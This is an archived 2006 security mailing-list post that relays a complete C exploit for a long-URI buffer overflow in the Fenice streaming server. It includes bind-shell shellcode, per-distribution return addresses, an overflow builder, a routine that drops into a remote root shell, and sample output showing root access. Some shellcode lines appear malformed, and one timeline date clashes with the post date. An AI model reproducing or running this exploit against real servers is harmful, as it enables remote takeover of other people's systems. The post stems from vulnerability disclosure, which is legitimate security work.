

# [EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00035.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 27 Apr 2006 15:09:53 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

---

## SUMMARY

The attached source code contains the exploit for the recent vulnerability reported in <<http://www.securiteam.com/unixfocus/5DP0L15IAK.html>> Fenice – Open Media Streaming Server

## DETAILS

Exploit Code:

/\*

IHS Iran Homeland Security public source code  
Fenice – Open Media Streaming Server remote BOF exploit  
author : c0d3r "kaveh razavi" c0d3r at ihsteam.com  
package : fenice-1.10.tar.gz and proolly prior versions  
workaround : update after patch release  
advisory : <http://www.securityfocus.com/bid/17678>  
company address : <http://streaming.polito.it/server>  
timeline :  
23 Apr 2006 : vulnerability reported by Luigi Auriemma  
25 Sep 2006 : IHS exploit released  
exploit features :

## [EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

1) a global offset  
2) reliable metasploit shellcode  
3) autoconnect to shell  
bad chars : 0x00 0x05 encoder : PexAlphaNum  
compiled with gcc under Linux : gcc fenice.c -o fenice

\*\*\*\*\*

Exploitation Method : linux-gate.so.1

the refrence written by izik could be downloaded from milw0rm.  
after some research I realized that the offset is very stable  
around 2.6 kernels compiled from source. the VA patch will  
easily get bypassed. if you want to exploit 2.4 kernels  
you can jump directly to the shellcode , there isn't any  
stack randomization for sure in 2.4.\* by default.  
the offset on 2.6.13.2 and 2.6.15.6 compiled with amd64 flag  
(slackware 10.2), also on 2.6.15.4 compiled with i386 flag  
(Fedora core 2) was same. on default installation of fc3 the  
linux-gate.so.1 has null at the first , so think of another  
way to jump to the shellcode.

\*\*\*\*\*

greeting to :

www.ihsteam.com the team , LorD and NT  
www.ihsteam.net english version ,  
www.c0d3r.org my home :)  
www.underground.ir friends who are participating in the forums  
www.exploitdev.com Jamie and Ben , those times are now legend  
www.milw0rm.com str0ke , keep the good job going

/\*

/\*

```
[c0d3r]$ gcc fenice.c -o fenice  
[c0d3r]$ ./fenice 127.0.0.1 554 0
```

```
----- fenice - Open Media Streaming Project remote BOF exploit  
----- copyrighted by c0d3r of IHS 2006
```

```
[+] Targeting slackware 10.2  
[+] Shellcode size : 329 bytes  
[+] Building overflow string  
[+] attacking host 127.0.0.1  
[+] packet size = 750 byte  
[+] connected  
[+] sending the overflow string  
[+] exploit sent successfully to 127.0.0.1  
[+] trying to get shell
```

[EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

## [EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

```
[+] connecting to 127.0.0.1 on port 4444
[+] target exploited successfully
[+] Dropping into shell
```

```
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Linux c0d3r 2.6.15.6 #4 SMP PREEMPT Sat Apr 15 23:22:34 AKDT 2006 i686
unknown unknown GNU/Linux
```

```
*/
```

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#define inc 0x41
#define size 750
```

```
void gotshell(int new_sock);
void usage();
```

```
// metasploit.com shellcode – badchars = 0x00 0x05
// linux_ia32_bind – LPORT=4444 Size=329 Encoder=PexAlphaNum
// I had a bit difficulty to execute my shellcode because some chars
// badly interpreted by fenice , anyway viva metasploit !
```

```
unsigned char shellcode[] =
```

```
"\xeb\x59\x59\x59\xeb\x59\x59\x59\x59\x59\x59\x59\x59"
"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"
"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"
"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"
"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"
"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"
"\x4f\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56"
"\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58"
"\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44"
"\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d"
"\x41\x43\x4b\x4d\x43\x45\x43\x54\x43\x45\x4c\x56\x44\x50\x4c\x36"
"\x48\x36\x4a\x55\x49\x49\x49\x58\x41\x4e\x4d\x4c\x42\x58\x48\x49"
"\x43\x54\x44\x45\x48\x36\x4a\x46\x41\x41\x4e\x35\x48\x36\x43\x35"
```

## [EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

```
"\x49\x38\x41\xe4\x46\x48\x46\x4a\x35\x42\x35\x41\x35\x48\x45"  
"\x49\x48\x41\xe4\x4d\x4c\x42\x48\x42\x4b\x48\x36\x41\x4d\x43\xe"  
"\x4d\x4c\x42\x58\x44\x45\x44\x55\x48\x45\x43\x54\x49\x38\x41\xe"  
"\x42\x4b\x48\x46\x4d\x4c\x42\x58\x43\x59\x4c\x56\x44\x30\x49\x55"  
"\x42\x4b\x4f\x33\x4d\x4c\x42\x48\x49\x34\x49\x37\x49\x4f\x42\x4b"  
"\x4b\x30\x44\x55\x4a\x46\x4f\x52\x4f\x32\x43\x47\x4a\x46\x4a\x56"  
"\x4f\x42\x44\x56\x49\x36\x50\x36\x49\x48\x43\x4e\x44\x55\x43\x55"  
"\x49\x58\x41\xe4\x4d\x4c\x42\x48\x5a";
```

```
char slack [] = "\x77\xe7\xff\xff"; // slackware 10.2 2.6.15.6  
char FC2_2_6_15[] = "\x77\xe7\xff\xff"; // Fedora core 2 , 2.6.15.4  
char debug [] = "\xdd\xdd\xdd\xdd"; // debugging purpose  
char ret[4];  
char get [] = "\x47\x45\x54\x20\x2f";  
struct hostent *hp;  
struct sockaddr_in con;  
unsigned int rc,rc2,len=16,sock,sock2,os,addr,port;  
char buffer[size];
```

```
// gotshell is from jamie (darkdud3) remote exploit sample  
// with a bit change
```

```
void gotshell(int sock){  
  
fd_set fd_read;  
char buff[1024];  
char cmd[100] = "id;uname -a\n";  
int n;  
  
FD_ZERO(&fd_read);  
FD_SET(sock, &fd_read);  
FD_SET(0, &fd_read);  
send(sock, cmd, strlen(cmd), 0);  
while(1) {  
FD_SET(sock,&fd_read);  
FD_SET(0,&fd_read);  
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;  
if( FD_ISSET(sock, &fd_read) ) {  
if((n=recv(sock,buff,sizeof(buff),0))<0){  
fprintf(stderr, "EOF\n");  
exit(2);  
}  
if(write(1,buff,n)<0)break;  
}  
if ( FD_ISSET(0, &fd_read) ) {  
if((n=read(0,buff,sizeof(buff)))<0){  
fprintf(stderr,"EOF\n");  
exit(2);  
}  
if(send(sock,buff,n,0)<0) break;  
}
```

## [EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

```
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}

void usage(char *arg){
printf("----- usage : %s host_or_ip port target\n",arg);
printf("----- example : %s localhost 554 0\n",arg);
printf("----- target 0 : slackware 10.2 linux-2.6.15.6 : 0\n");
printf("----- target 1 : Fedora core 2 linux-2.6.15.4 : 1\n");
printf("----- target 2 : debug : 2\n\n");
exit(-1) ;
}

int main(int argc,char *argv){

printf("\n----- fenice - Open Media Streaming Project remote BOF
exploit\n");
printf("----- copyrighted by c0d3r of IHS 2006\n\n");
if(argc != 4)
usage(argv[0]);
os = (unsigned short)atoi(argv[3]);
switch(os){
case 0:
strcat(ret,slack);
printf("[+] Targeting slackware 10.2\n");
break;
case 1:
strcat(ret,FC2_2_6_15);
printf("[+] Targeting fedora core 2 \n");
break;
case 2:
strcat(ret,debug);
printf("[+] Debugging\n");
break;
default:
printf("\n[-] This target doesnt exist in the list\n\n");

exit(-1);
}
printf("[+] Shellcode size : %d bytes\n",sizeof(shellcode)-1);
printf("[+] Building overflow string\n");

// heart of exploit

memset(buffer,inc,size);
memcpy(buffer,get,5);
memcpy(buffer+5+361,ret,4);
memcpy(buffer+5+361+4+10,shellcode,sizeof(shellcode)-1);
buffer[size] = 0;
```

## [EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

```
// EO heart of exploit

hp = gethostbyname(argv[1]);
if (!hp)
addr = inet_addr(argv[1]);
if ((!hp) && (addr == INADDR_NONE) ){
printf("[ - ] unable to resolve %s\n",argv[1]);
exit(-1);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock){
printf("[ - ] socket() error...\n");
exit(-1);
}
if (hp != NULL)
memcpy(&(con.sin_addr),hp->h_addr,hp->h_length);
else
con.sin_addr.s_addr = addr;
if (hp)
con.sin_family = hp->h_addrtype;
else
con.sin_family = AF_INET;
port=atoi(argv[2]);
con.sin_port=htons(port);
printf("[ + ] attacking host %s\n" , argv[1] );
sleep(1);
printf("[ + ] packet size = %d byte\n" , sizeof(buffer));
rc=connect(sock, (struct sockaddr *) &con, sizeof (struct sockaddr_in));
if(!rc){
sleep(1) ;
printf("[ + ] connected\n") ;
printf("[ + ] sending the overflow string\n") ;
send(sock,buffer,strlen(buffer),0);
send(sock,"\n",1,0);
sleep(1) ;
send(sock,"\n",1,0);
sleep(1) ;
printf("[ + ] exploit sent successfully to %s \n" , argv[1]);
printf("[ + ] trying to get shell\n");
printf("[ + ] connecting to %s on port 4444\n",argv[1]);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock){
printf("[ - ] socket() error...\n");
exit(-1);
}
con.sin_family = AF_INET;
con.sin_port=htons(4444);
rc2=connect(sock, (struct sockaddr *) &con, sizeof (struct
sockaddr_in));
if(rc2 != 0) {
```

[EXPL] Fenice Buffer Overflow Vulnerability (Long URI, Exploit Code)

```
printf("[+] exploit probably failed\n");
exit(-1);
}
if(!rc2){
printf("[+] target exploited successfully\n");
printf("[+] Dropping into shell\n\n");
gotshell(sock);
}
}
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:c0d3r@xxxxxxxxxxx>> Kaveh Razavi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxx)

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.